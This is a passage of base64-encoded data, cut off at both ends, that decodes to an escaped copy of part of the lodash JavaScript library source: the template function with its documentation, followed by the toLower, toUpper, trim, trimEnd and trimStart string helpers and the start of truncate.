IgZGVsaW1pdGVyLlxuICAgICAqIHZhciBjb21waWxlZCA9IF8udGVtcGxhdGUoJ2hlbGxvICR7IHVzZXIgfSEnKTtcbiAgICAgKiBjb21waWxlZCh7ICd1c2VyJzogJ3BlYmJsZXMnIH0pO1xuICAgICAqIC8vID0+ICdoZWxsbyBwZWJibGVzISdcbiAgICAgKlxuICAgICAqIC8vIFVzZSBiYWNrc2xhc2hlcyB0byB0cmVhdCBkZWxpbWl0ZXJzIGFzIHBsYWluIHRleHQuXG4gICAgICogdmFyIGNvbXBpbGVkID0gXy50ZW1wbGF0ZSgnPCU9IFwiXFxcXDwlLSB2YWx1ZSAlXFxcXD5cIiAlPicpO1xuICAgICAqIGNvbXBpbGVkKHsgJ3ZhbHVlJzogJ2lnbm9yZWQnIH0pO1xuICAgICAqIC8vID0+ICc8JS0gdmFsdWUgJT4nXG4gICAgICpcbiAgICAgKiAvLyBVc2UgdGhlIGBpbXBvcnRzYCBvcHRpb24gdG8gaW1wb3J0IGBqUXVlcnlgIGFzIGBqcWAuXG4gICAgICogdmFyIHRleHQgPSAnPCUganEuZWFjaCh1c2VycywgZnVuY3Rpb24odXNlcikgeyAlPjxsaT48JS0gdXNlciAlPjwvbGk+PCUgfSk7ICU+JztcbiAgICAgKiB2YXIgY29tcGlsZWQgPSBfLnRlbXBsYXRlKHRleHQsIHsgJ2ltcG9ydHMnOiB7ICdqcSc6IGpRdWVyeSB9IH0pO1xuICAgICAqIGNvbXBpbGVkKHsgJ3VzZXJzJzogWydmcmVkJywgJ2Jhcm5leSddIH0pO1xuICAgICAqIC8vID0+ICc8bGk+ZnJlZDwvbGk+PGxpPmJhcm5leTwvbGk+J1xuICAgICAqXG4gICAgICogLy8gVXNlIHRoZSBgc291cmNlVVJMYCBvcHRpb24gdG8gc3BlY2lmeSBhIGN1c3RvbSBzb3VyY2VVUkwgZm9yIHRoZSB0ZW1wbGF0ZS5cbiAgICAgKiB2YXIgY29tcGlsZWQgPSBfLnRlbXBsYXRlKCdoZWxsbyA8JT0gdXNlciAlPiEnLCB7ICdzb3VyY2VVUkwnOiAnL2Jhc2ljL2dyZWV0aW5nLmpzdCcgfSk7XG4gICAgICogY29tcGlsZWQoZGF0YSk7XG4gICAgICogLy8gPT4gRmluZCB0aGUgc291cmNlIG9mIFwiZ3JlZXRpbmcuanN0XCIgdW5kZXIgdGhlIFNvdXJjZXMgdGFiIG9yIFJlc291cmNlcyBwYW5lbCBvZiB0aGUgd2ViIGluc3BlY3Rvci5cbiAgICAgKlxuICAgICAqIC8vIFVzZSB0aGUgYHZhcmlhYmxlYCBvcHRpb24gdG8gZW5zdXJlIGEgd2l0aC1zdGF0ZW1lbnQgaXNuJ3QgdXNlZCBpbiB0aGUgY29tcGlsZWQgdGVtcGxhdGUuXG4gICAgICogdmFyIGNvbXBpbGVkID0gXy50ZW1wbGF0ZSgnaGkgPCU9IGRhdGEudXNlciAlPiEnLCB7ICd2YXJpYWJsZSc6ICdkYXRhJyB9KTtcbiAgICAgKiBjb21waWxlZC5zb3VyY2U7XG4gICAgICogLy8gPT4gZnVuY3Rpb24oZGF0YSkge1xuICAgICAqIC8vICAgdmFyIF9fdCwgX19wID0gJyc7XG4gICAgICogLy8gICBfX3AgKz0gJ2hpICcgKyAoKF9fdCA9ICggZGF0YS51c2VyICkpID09IG51bGwgPyAnJyA6IF9fdCkgKyAnISc7XG4gICAgICogLy8gICByZXR1cm4gX19wO1xuICAgICAqIC8vIH1cbiAgICAgKlxuICAgICAqIC8vIFVzZSBjdXN0b20gdGVtcGxhdGUgZGVsaW1pdGVycy5cbiAgICAgKiBfLnRlbXBsYXRlU2V0dGluZ3MuaW50ZXJwb2xhdGUgPSAve3soW1xcc1xcU10rPyl9fS9nO1xuICAgICAqIHZhciBjb21waWxlZCA9IF8udGVtcGxhdGUoJ2hlbGxvIHt7IHVzZXIgfX0hJyk7XG4gICAgICogY29tcGlsZWQoeyAndXNlcic6ICdtdXN0YWNoZScgfSk7XG4gICAgICogLy8gPT4gJ2hlbGxvIG11c3RhY2hlISdcbiAgICAgKlxuICAgICAqIC8vIFVzZSB0aGUgYHNvdXJjZWAgcHJvcGVydHkgdG8gaW5saW5lIGNvbXBpbGVkIHRlbXBsYXRlcyBmb3IgbWVhbmluZ2Z1bFxuICAgICAqIC8vIGxpbmUgbnVtYmVycyBpbiBlcnJvciBtZXNzYWdlcyBhbmQgc3RhY2sgdHJhY2VzLlxuICAgICAqIGZzLndyaXRlRmlsZVN5bmMocGF0aC5qb2luKHByb2Nlc3MuY3dkKCksICdqc3QuanMnKSwgJ1xcXG4gICAgICogICB2YXIgSlNUID0ge1xcXG4gICAgICogICAgIFwibWFpblwiOiAnICsgXy50ZW1wbGF0ZShtYWluVGV4dCkuc291cmNlICsgJ1xcXG4gICAgICogICB9O1xcXG4gICAgICogJyk7XG4gICAgICovXG4gICAgZnVuY3Rpb24gdGVtcGxhdGUoc3RyaW5nLCBvcHRpb25zLCBndWFyZCkge1xuICAgICAgLy8gQmFzZWQgb24gSm9obiBSZXNpZydzIGB0bXBsYCBpbXBsZW1lbnRhdGlvblxuICAgICAgLy8gKGh0dHA6Ly9lam9obi5vcmcvYmxvZy9qYXZhc2NyaXB0LW1pY3JvLXRlbXBsYXRpbmcvKVxuICAgICAgLy8gYW5kIExhdXJhIERva3Rvcm92YSdzIGRvVC5qcyAoaHR0cHM6Ly9naXRodWIuY29tL29sYWRvL2RvVCkuXG4gICAgICB2YXIgc2V0dGluZ3MgPSBsb2Rhc2gudGVtcGxhdGVTZXR0aW5ncztcblxuICAgICAgaWYgKGd1YXJkICYmIGlzSXRlcmF0ZWVDYWxsKHN0cmluZywgb3B0aW9ucywgZ3VhcmQpKSB7XG4gICAgICAgIG9wdGlvbnMgPSB1bmRlZmluZWQ7XG4gICAgICB9XG4gICAgICBzdHJpbmcgPSB0b1N0cmluZyhzdHJpbmcpO1xuICAgICAgb3B0aW9ucyA9IGFzc2lnbkluV2l0aCh7fSwgb3B0aW9ucywgc2V0dGluZ3MsIGN1c3RvbURlZmF1bHRzQXNzaWduSW4pO1xuXG4gICAgICB2YXIgaW1wb3J0cyA9IGFzc2lnbkluV2l0aCh7fSwgb3B0aW9ucy5pbXBvcnRzLCBzZXR0aW5ncy5pbXBvcnRzLCBjdXN0b21EZWZhdWx0c0Fzc2lnbkluKSxcbiAgICAgICAgICBpbXBvcnRzS2V5cyA9IGtleXMoaW1wb3J0cyksXG4gICAgICAgICAgaW1wb3J0c1ZhbHVlcyA9IGJhc2VWYWx1ZXMoaW1wb3J0cywgaW1wb3J0c0tleXMpO1xuXG4gICAgICB2YXIgaXNFc2NhcGluZyxcbiAgICAgICAgICBpc0V2YWx1YXRpbmcsXG4gICAgICAgICAgaW5kZXggPSAwLFxuICAgICAgICAgIGludGVycG9sYXRlID0gb3B0aW9ucy5pbnRlcnBvbGF0ZSB8fCByZU5vTWF0Y2gsXG4gICAgICAgICAgc291cmNlID0gXCJfX3AgKz0gJ1wiO1xuXG4gICAgICAvLyBDb21waWxlIHRoZSByZWdleHAgdG8gbWF0Y2ggZWFjaCBkZWxpbWl0ZXIuXG4gICAgICB2YXIgcmVEZWxpbWl0ZXJzID0gUmVnRXhwKFxuICAgICAgICAob3B0aW9ucy5lc2NhcGUgfHwgcmVOb01hdGNoKS5zb3VyY2UgKyAnfCcgK1xuICAgICAgICBpbnRlcnBvbGF0ZS5zb3VyY2UgKyAnfCcgK1xuICAgICAgICAoaW50ZXJwb2xhdGUgPT09IHJlSW50ZXJwb2xhdGUgPyByZUVzVGVtcGxhdGUgOiByZU5vTWF0Y2gpLnNvdXJjZSArICd8JyArXG4gICAgICAgIChvcHRpb25zLmV2YWx1YXRlIHx8IHJlTm9NYXRjaCkuc291cmNlICsgJ3wkJ1xuICAgICAgLCAnZycpO1xuXG4gICAgICAvLyBVc2UgYSBzb3VyY2VVUkwgZm9yIGVhc2llciBkZWJ1Z2dpbmcuXG4gICAgICAvLyBUaGUgc291cmNlVVJMIGdldHMgaW5qZWN0ZWQgaW50byB0aGUgc291cmNlIHRoYXQncyBldmFsLWVkLCBzbyBiZSBjYXJlZnVsXG4gICAgICAvLyB0byBub3JtYWxpemUgYWxsIGtpbmRzIG9mIHdoaXRlc3BhY2UsIHNvIGUuZy4gbmV3bGluZXMgKGFuZCB1bmljb2RlIHZlcnNpb25zIG9mIGl0KSBjYW4ndCBzbmVhayBpblxuICAgICAgLy8gYW5kIGVzY2FwZSB0aGUgY29tbWVudCwgdGh1cyBpbmplY3RpbmcgY29kZSB0aGF0IGdldHMgZXZhbGVkLlxuICAgICAgdmFyIHNvdXJjZVVSTCA9ICcvLyMgc291cmNlVVJMPScgK1xuICAgICAgICAoaGFzT3duUHJvcGVydHkuY2FsbChvcHRpb25zLCAnc291cmNlVVJMJylcbiAgICAgICAgICA/IChvcHRpb25zLnNvdXJjZVVSTCArICcnKS5yZXBsYWNlKC9cXHMvZywgJyAnKVxuICAgICAgICAgIDogKCdsb2Rhc2gudGVtcGxhdGVTb3VyY2VzWycgKyAoKyt0ZW1wbGF0ZUNvdW50ZXIpICsgJ10nKVxuICAgICAgICApICsgJ1xcbic7XG5cbiAgICAgIHN0cmluZy5yZXBsYWNlKHJlRGVsaW1pdGVycywgZnVuY3Rpb24obWF0Y2gsIGVzY2FwZVZhbHVlLCBpbnRlcnBvbGF0ZVZhbHVlLCBlc1RlbXBsYXRlVmFsdWUsIGV2YWx1YXRlVmFsdWUsIG9mZnNldCkge1xuICAgICAgICBpbnRlcnBvbGF0ZVZhbHVlIHx8IChpbnRlcnBvbGF0ZVZhbHVlID0gZXNUZW1wbGF0ZVZhbHVlKTtcblxuICAgICAgICAvLyBFc2NhcGUgY2hhcmFjdGVycyB0aGF0IGNhbid0IGJlIGluY2x1ZGVkIGluIHN0cmluZyBsaXRlcmFscy5cbiAgICAgICAgc291cmNlICs9IHN0cmluZy5zbGljZShpbmRleCwgb2Zmc2V0KS5yZXBsYWNlKHJlVW5lc2NhcGVkU3RyaW5nLCBlc2NhcGVTdHJpbmdDaGFyKTtcblxuICAgICAgICAvLyBSZXBsYWNlIGRlbGltaXRlcnMgd2l0aCBzbmlwcGV0cy5cbiAgICAgICAgaWYgKGVzY2FwZVZhbHVlKSB7XG4gICAgICAgICAgaXNFc2NhcGluZyA9IHRydWU7XG4gICAgICAgICAgc291cmNlICs9IFwiJyArXFxuX19lKFwiICsgZXNjYXBlVmFsdWUgKyBcIikgK1xcbidcIjtcbiAgICAgICAgfVxuICAgICAgICBpZiAoZXZhbHVhdGVWYWx1ZSkge1xuICAgICAgICAgIGlzRXZhbHVhdGluZyA9IHRydWU7XG4gICAgICAgICAgc291cmNlICs9IFwiJztcXG5cIiArIGV2YWx1YXRlVmFsdWUgKyBcIjtcXG5fX3AgKz0gJ1wiO1xuICAgICAgICB9XG4gICAgICAgIGlmIChpbnRlcnBvbGF0ZVZhbHVlKSB7XG4gICAgICAgICAgc291cmNlICs9IFwiJyArXFxuKChfX3QgPSAoXCIgKyBpbnRlcnBvbGF0ZVZhbHVlICsgXCIpKSA9PSBudWxsID8gJycgOiBfX3QpICtcXG4nXCI7XG4gICAgICAgIH1cbiAgICAgICAgaW5kZXggPSBvZmZzZXQgKyBtYXRjaC5sZW5ndGg7XG5cbiAgICAgICAgLy8gVGhlIEpTIGVuZ2luZSBlbWJlZGRlZCBpbiBBZG9iZSBwcm9kdWN0cyBuZWVkcyBgbWF0Y2hgIHJldHVybmVkIGluXG4gICAgICAgIC8vIG9yZGVyIHRvIHByb2R1Y2UgdGhlIGNvcnJlY3QgYG9mZnNldGAgdmFsdWUuXG4gICAgICAgIHJldHVybiBtYXRjaDtcbiAgICAgIH0pO1xuXG4gICAgICBzb3VyY2UgKz0gXCInO1xcblwiO1xuXG4gICAgICAvLyBJZiBgdmFyaWFibGVgIGlzIG5vdCBzcGVjaWZpZWQgd3JhcCBhIHdpdGgtc3RhdGVtZW50IGFyb3VuZCB0aGUgZ2VuZXJhdGVkXG4gICAgICAvLyBjb2RlIHRvIGFkZCB0aGUgZGF0YSBvYmplY3QgdG8gdGhlIHRvcCBvZiB0aGUgc2NvcGUgY2hhaW4uXG4gICAgICB2YXIgdmFyaWFibGUgPSBoYXNPd25Qcm9wZXJ0eS5jYWxsKG9wdGlvbnMsICd2YXJpYWJsZScpICYmIG9wdGlvbnMudmFyaWFibGU7XG4gICAgICBpZiAoIXZhcmlhYmxlKSB7XG4gICAgICAgIHNvdXJjZSA9ICd3aXRoIChvYmopIHtcXG4nICsgc291cmNlICsgJ1xcbn1cXG4nO1xuICAgICAgfVxuICAgICAgLy8gVGhyb3cgYW4gZXJyb3IgaWYgYSBmb3JiaWRkZW4gY2hhcmFjdGVyIHdhcyBmb3VuZCBpbiBgdmFyaWFibGVgLCB0byBwcmV2ZW50XG4gICAgICAvLyBwb3RlbnRpYWwgY29tbWFuZCBpbmplY3Rpb24gYXR0YWNrcy5cbiAgICAgIGVsc2UgaWYgKHJlRm9yYmlkZGVuSWRlbnRpZmllckNoYXJzLnRlc3QodmFyaWFibGUpKSB7XG4gICAgICAgIHRocm93IG5ldyBFcnJvcihJTlZBTElEX1RFTVBMX1ZBUl9FUlJPUl9URVhUKTtcbiAgICAgIH1cblxuICAgICAgLy8gQ2xlYW51cCBjb2RlIGJ5IHN0cmlwcGluZyBlbXB0eSBzdHJpbmdzLlxuICAgICAgc291cmNlID0gKGlzRXZhbHVhdGluZyA/IHNvdXJjZS5yZXBsYWNlKHJlRW1wdHlTdHJpbmdMZWFkaW5nLCAnJykgOiBzb3VyY2UpXG4gICAgICAgIC5yZXBsYWNlKHJlRW1wdHlTdHJpbmdNaWRkbGUsICckMScpXG4gICAgICAgIC5yZXBsYWNlKHJlRW1wdHlTdHJpbmdUcmFpbGluZywgJyQxOycpO1xuXG4gICAgICAvLyBGcmFtZSBjb2RlIGFzIHRoZSBmdW5jdGlvbiBib2R5LlxuICAgICAgc291cmNlID0gJ2Z1bmN0aW9uKCcgKyAodmFyaWFibGUgfHwgJ29iaicpICsgJykge1xcbicgK1xuICAgICAgICAodmFyaWFibGVcbiAgICAgICAgICA/ICcnXG4gICAgICAgICAgOiAnb2JqIHx8IChvYmogPSB7fSk7XFxuJ1xuICAgICAgICApICtcbiAgICAgICAgXCJ2YXIgX190LCBfX3AgPSAnJ1wiICtcbiAgICAgICAgKGlzRXNjYXBpbmdcbiAgICAgICAgICAgPyAnLCBfX2UgPSBfLmVzY2FwZSdcbiAgICAgICAgICAgOiAnJ1xuICAgICAgICApICtcbiAgICAgICAgKGlzRXZhbHVhdGluZ1xuICAgICAgICAgID8gJywgX19qID0gQXJyYXkucHJvdG90eXBlLmpvaW47XFxuJyArXG4gICAgICAgICAgICBcImZ1bmN0aW9uIHByaW50KCkgeyBfX3AgKz0gX19qLmNhbGwoYXJndW1lbnRzLCAnJykgfVxcblwiXG4gICAgICAgICAgOiAnO1xcbidcbiAgICAgICAgKSArXG4gICAgICAgIHNvdXJjZSArXG4gICAgICAgICdyZXR1cm4gX19wXFxufSc7XG5cbiAgICAgIHZhciByZXN1bHQgPSBhdHRlbXB0KGZ1bmN0aW9uKCkge1xuICAgICAgICByZXR1cm4gRnVuY3Rpb24oaW1wb3J0c0tleXMsIHNvdXJjZVVSTCArICdyZXR1cm4gJyArIHNvdXJjZSlcbiAgICAgICAgICAuYXBwbHkodW5kZWZpbmVkLCBpbXBvcnRzVmFsdWVzKTtcbiAgICAgIH0pO1xuXG4gICAgICAvLyBQcm92aWRlIHRoZSBjb21waWxlZCBmdW5jdGlvbidzIHNvdXJjZSBieSBpdHMgYHRvU3RyaW5nYCBtZXRob2Qgb3JcbiAgICAgIC8vIHRoZSBgc291cmNlYCBwcm9wZXJ0eSBhcyBhIGNvbnZlbmllbmNlIGZvciBpbmxpbmluZyBjb21waWxlZCB0ZW1wbGF0ZXMuXG4gICAgICByZXN1bHQuc291cmNlID0gc291cmNlO1xuICAgICAgaWYgKGlzRXJyb3IocmVzdWx0KSkge1xuICAgICAgICB0aHJvdyByZXN1bHQ7XG4gICAgICB9XG4gICAgICByZXR1cm4gcmVzdWx0O1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENvbnZlcnRzIGBzdHJpbmdgLCBhcyBhIHdob2xlLCB0byBsb3dlciBjYXNlIGp1c3QgbGlrZVxuICAgICAqIFtTdHJpbmcjdG9Mb3dlckNhc2VdKGh0dHBzOi8vbWRuLmlvL3RvTG93ZXJDYXNlKS5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSA0LjAuMFxuICAgICAqIEBjYXRlZ29yeSBTdHJpbmdcbiAgICAgKiBAcGFyYW0ge3N0cmluZ30gW3N0cmluZz0nJ10gVGhlIHN0cmluZyB0byBjb252ZXJ0LlxuICAgICAqIEByZXR1cm5zIHtzdHJpbmd9IFJldHVybnMgdGhlIGxvd2VyIGNhc2VkIHN0cmluZy5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy50b0xvd2VyKCctLUZvby1CYXItLScpO1xuICAgICAqIC8vID0+ICctLWZvby1iYXItLSdcbiAgICAgKlxuICAgICAqIF8udG9Mb3dlcignZm9vQmFyJyk7XG4gICAgICogLy8gPT4gJ2Zvb2JhcidcbiAgICAgKlxuICAgICAqIF8udG9Mb3dlcignX19GT09fQkFSX18nKTtcbiAgICAgKiAvLyA9PiAnX19mb29fYmFyX18nXG4gICAgICovXG4gICAgZnVuY3Rpb24gdG9Mb3dlcih2YWx1ZSkge1xuICAgICAgcmV0dXJuIHRvU3RyaW5nKHZhbHVlKS50b0xvd2VyQ2FzZSgpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENvbnZlcnRzIGBzdHJpbmdgLCBhcyBhIHdob2xlLCB0byB1cHBlciBjYXNlIGp1c3QgbGlrZVxuICAgICAqIFtTdHJpbmcjdG9VcHBlckNhc2VdKGh0dHBzOi8vbWRuLmlvL3RvVXBwZXJDYXNlKS5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSA0LjAuMFxuICAgICAqIEBjYXRlZ29yeSBTdHJpbmdcbiAgICAgKiBAcGFyYW0ge3N0cmluZ30gW3N0cmluZz0nJ10gVGhlIHN0cmluZyB0byBjb252ZXJ0LlxuICAgICAqIEByZXR1cm5zIHtzdHJpbmd9IFJldHVybnMgdGhlIHVwcGVyIGNhc2VkIHN0cmluZy5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy50b1VwcGVyKCctLWZvby1iYXItLScpO1xuICAgICAqIC8vID0+ICctLUZPTy1CQVItLSdcbiAgICAgKlxuICAgICAqIF8udG9VcHBlcignZm9vQmFyJyk7XG4gICAgICogLy8gPT4gJ0ZPT0JBUidcbiAgICAgKlxuICAgICAqIF8udG9VcHBlcignX19mb29fYmFyX18nKTtcbiAgICAgKiAvLyA9PiAnX19GT09fQkFSX18nXG4gICAgICovXG4gICAgZnVuY3Rpb24gdG9VcHBlcih2YWx1ZSkge1xuICAgICAgcmV0dXJuIHRvU3RyaW5nKHZhbHVlKS50b1VwcGVyQ2FzZSgpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFJlbW92ZXMgbGVhZGluZyBhbmQgdHJhaWxpbmcgd2hpdGVzcGFjZSBvciBzcGVjaWZpZWQgY2hhcmFjdGVycyBmcm9tIGBzdHJpbmdgLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDMuMC4wXG4gICAgICogQGNhdGVnb3J5IFN0cmluZ1xuICAgICAqIEBwYXJhbSB7c3RyaW5nfSBbc3RyaW5nPScnXSBUaGUgc3RyaW5nIHRvIHRyaW0uXG4gICAgICogQHBhcmFtIHtzdHJpbmd9IFtjaGFycz13aGl0ZXNwYWNlXSBUaGUgY2hhcmFjdGVycyB0byB0cmltLlxuICAgICAqIEBwYXJhbS0ge09iamVjdH0gW2d1YXJkXSBFbmFibGVzIHVzZSBhcyBhbiBpdGVyYXRlZSBmb3IgbWV0aG9kcyBsaWtlIGBfLm1hcGAuXG4gICAgICogQHJldHVybnMge3N0cmluZ30gUmV0dXJucyB0aGUgdHJpbW1lZCBzdHJpbmcuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIF8udHJpbSgnICBhYmMgICcpO1xuICAgICAqIC8vID0+ICdhYmMnXG4gICAgICpcbiAgICAgKiBfLnRyaW0oJy1fLWFiYy1fLScsICdfLScpO1xuICAgICAqIC8vID0+ICdhYmMnXG4gICAgICpcbiAgICAgKiBfLm1hcChbJyAgZm9vICAnLCAnICBiYXIgICddLCBfLnRyaW0pO1xuICAgICAqIC8vID0+IFsnZm9vJywgJ2JhciddXG4gICAgICovXG4gICAgZnVuY3Rpb24gdHJpbShzdHJpbmcsIGNoYXJzLCBndWFyZCkge1xuICAgICAgc3RyaW5nID0gdG9TdHJpbmcoc3RyaW5nKTtcbiAgICAgIGlmIChzdHJpbmcgJiYgKGd1YXJkIHx8IGNoYXJzID09PSB1bmRlZmluZWQpKSB7XG4gICAgICAgIHJldHVybiBiYXNlVHJpbShzdHJpbmcpO1xuICAgICAgfVxuICAgICAgaWYgKCFzdHJpbmcgfHwgIShjaGFycyA9IGJhc2VUb1N0cmluZyhjaGFycykpKSB7XG4gICAgICAgIHJldHVybiBzdHJpbmc7XG4gICAgICB9XG4gICAgICB2YXIgc3RyU3ltYm9scyA9IHN0cmluZ1RvQXJyYXkoc3RyaW5nKSxcbiAgICAgICAgICBjaHJTeW1ib2xzID0gc3RyaW5nVG9BcnJheShjaGFycyksXG4gICAgICAgICAgc3RhcnQgPSBjaGFyc1N0YXJ0SW5kZXgoc3RyU3ltYm9scywgY2hyU3ltYm9scyksXG4gICAgICAgICAgZW5kID0gY2hhcnNFbmRJbmRleChzdHJTeW1ib2xzLCBjaHJTeW1ib2xzKSArIDE7XG5cbiAgICAgIHJldHVybiBjYXN0U2xpY2Uoc3RyU3ltYm9scywgc3RhcnQsIGVuZCkuam9pbignJyk7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogUmVtb3ZlcyB0cmFpbGluZyB3aGl0ZXNwYWNlIG9yIHNwZWNpZmllZCBjaGFyYWN0ZXJzIGZyb20gYHN0cmluZ2AuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgNC4wLjBcbiAgICAgKiBAY2F0ZWdvcnkgU3RyaW5nXG4gICAgICogQHBhcmFtIHtzdHJpbmd9IFtzdHJpbmc9JyddIFRoZSBzdHJpbmcgdG8gdHJpbS5cbiAgICAgKiBAcGFyYW0ge3N0cmluZ30gW2NoYXJzPXdoaXRlc3BhY2VdIFRoZSBjaGFyYWN0ZXJzIHRvIHRyaW0uXG4gICAgICogQHBhcmFtLSB7T2JqZWN0fSBbZ3VhcmRdIEVuYWJsZXMgdXNlIGFzIGFuIGl0ZXJhdGVlIGZvciBtZXRob2RzIGxpa2UgYF8ubWFwYC5cbiAgICAgKiBAcmV0dXJucyB7c3RyaW5nfSBSZXR1cm5zIHRoZSB0cmltbWVkIHN0cmluZy5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy50cmltRW5kKCcgIGFiYyAgJyk7XG4gICAgICogLy8gPT4gJyAgYWJjJ1xuICAgICAqXG4gICAgICogXy50cmltRW5kKCctXy1hYmMtXy0nLCAnXy0nKTtcbiAgICAgKiAvLyA9PiAnLV8tYWJjJ1xuICAgICAqL1xuICAgIGZ1bmN0aW9uIHRyaW1FbmQoc3RyaW5nLCBjaGFycywgZ3VhcmQpIHtcbiAgICAgIHN0cmluZyA9IHRvU3RyaW5nKHN0cmluZyk7XG4gICAgICBpZiAoc3RyaW5nICYmIChndWFyZCB8fCBjaGFycyA9PT0gdW5kZWZpbmVkKSkge1xuICAgICAgICByZXR1cm4gc3RyaW5nLnNsaWNlKDAsIHRyaW1tZWRFbmRJbmRleChzdHJpbmcpICsgMSk7XG4gICAgICB9XG4gICAgICBpZiAoIXN0cmluZyB8fCAhKGNoYXJzID0gYmFzZVRvU3RyaW5nKGNoYXJzKSkpIHtcbiAgICAgICAgcmV0dXJuIHN0cmluZztcbiAgICAgIH1cbiAgICAgIHZhciBzdHJTeW1ib2xzID0gc3RyaW5nVG9BcnJheShzdHJpbmcpLFxuICAgICAgICAgIGVuZCA9IGNoYXJzRW5kSW5kZXgoc3RyU3ltYm9scywgc3RyaW5nVG9BcnJheShjaGFycykpICsgMTtcblxuICAgICAgcmV0dXJuIGNhc3RTbGljZShzdHJTeW1ib2xzLCAwLCBlbmQpLmpvaW4oJycpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFJlbW92ZXMgbGVhZGluZyB3aGl0ZXNwYWNlIG9yIHNwZWNpZmllZCBjaGFyYWN0ZXJzIGZyb20gYHN0cmluZ2AuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgNC4wLjBcbiAgICAgKiBAY2F0ZWdvcnkgU3RyaW5nXG4gICAgICogQHBhcmFtIHtzdHJpbmd9IFtzdHJpbmc9JyddIFRoZSBzdHJpbmcgdG8gdHJpbS5cbiAgICAgKiBAcGFyYW0ge3N0cmluZ30gW2NoYXJzPXdoaXRlc3BhY2VdIFRoZSBjaGFyYWN0ZXJzIHRvIHRyaW0uXG4gICAgICogQHBhcmFtLSB7T2JqZWN0fSBbZ3VhcmRdIEVuYWJsZXMgdXNlIGFzIGFuIGl0ZXJhdGVlIGZvciBtZXRob2RzIGxpa2UgYF8ubWFwYC5cbiAgICAgKiBAcmV0dXJucyB7c3RyaW5nfSBSZXR1cm5zIHRoZSB0cmltbWVkIHN0cmluZy5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy50cmltU3RhcnQoJyAgYWJjICAnKTtcbiAgICAgKiAvLyA9PiAnYWJjICAnXG4gICAgICpcbiAgICAgKiBfLnRyaW1TdGFydCgnLV8tYWJjLV8tJywgJ18tJyk7XG4gICAgICogLy8gPT4gJ2FiYy1fLSdcbiAgICAgKi9cbiAgICBmdW5jdGlvbiB0cmltU3RhcnQoc3RyaW5nLCBjaGFycywgZ3VhcmQpIHtcbiAgICAgIHN0cmluZyA9IHRvU3RyaW5nKHN0cmluZyk7XG4gICAgICBpZiAoc3RyaW5nICYmIChndWFyZCB8fCBjaGFycyA9PT0gdW5kZWZpbmVkKSkge1xuICAgICAgICByZXR1cm4gc3RyaW5nLnJlcGxhY2UocmVUcmltU3RhcnQsICcnKTtcbiAgICAgIH1cbiAgICAgIGlmICghc3RyaW5nIHx8ICEoY2hhcnMgPSBiYXNlVG9TdHJpbmcoY2hhcnMpKSkge1xuICAgICAgICByZXR1cm4gc3RyaW5nO1xuICAgICAgfVxuICAgICAgdmFyIHN0clN5bWJvbHMgPSBzdHJpbmdUb0FycmF5KHN0cmluZyksXG4gICAgICAgICAgc3RhcnQgPSBjaGFyc1N0YXJ0SW5kZXgoc3RyU3ltYm9scywgc3RyaW5nVG9BcnJheShjaGFycykpO1xuXG4gICAgICByZXR1cm4gY2FzdFNsaWNlKHN0clN5bWJvbHMsIHN0YXJ0KS5qb2luKCcnKTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBUcnVuY2F0ZXMgYHN0cmluZ2AgaWYgaXQncyBsb25nZXIgdGhhbiB0aGUgZ2l2ZW4gbWF4aW11bSBzdHJpbmcgbGVuZ3RoLlxuICAgICAqIFRoZSBsYXN0IGNoYXJhY3RlcnMgb2YgdGhlIHRydW5jYXRlZCBzdHJpbmcgYXJlIHJlcGxhY2VkIHdpdGggdGhlIG9taXNzaW9uXG4gICAgICogc3RyaW5nIHdoaWNoIGRlZmF1bHRzIHRvIFwiLi4uXCIuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgNC4wLjBcbiAgICAgKiBAY2F0ZWdvcnkgU3RyaW5nXG4gICAgICogQHBhcmFtIHtzdHJpbmd9IFtzdHJpbmc9JyddIFRoZSBzdHJpbmcgdG8gdHJ1bmNhdGUuXG4gICAgICogQHBhcmFtIHtPYmplY3R9IFtvcHRpb25zPXt9XSBUaGUgb3B0aW9ucyBvYmplY3QuXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IFtvcHRpb25zLmxlbmd0aD0zMF0gVGhlIG1heGltdW0gc3RyaW5nIGxlbmd0aC5cbiAgICAgKiBAcGFyYW0ge3N0cmluZ30gW29wdGlvbnMub21pc3Npb249Jy4uLiddIFRoZSBzdHJpbmcgdG8gaW5kaWNhdGUgdGV4dCBpcyBvbWl0dGVkLlxuICAgICAqIEBwYXJhbSB7UmVnRXhwfHN0cmluZ30gW29wdGlvbnMuc2VwYXJhdG9yXSBUaGUgc2VwYXJhdG9yIHBhdHRlcm4gdG8gdHJ1bmNhdGUgdG8uXG4gICAgICogQHJldHVybnMge3N0cmluZ30gUmV0dXJucyB0aGUgdHJ1bmNhdGVkIHN0cmluZy5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy50cnVuY2F0ZSgnaGktZGlkZGx5LWhvIHRoZXJlLCBuZWlnaGJvcmlubycpO1xuICAgICAqIC8vID0+ICdoaS1kaWRkbHktaG8gdGhlcmUsIG5laWdoYm8uLi4nXG4gICAgICpcbiAgICAgKiBfLnRydW5jYXRlKCdoaS1kaWRk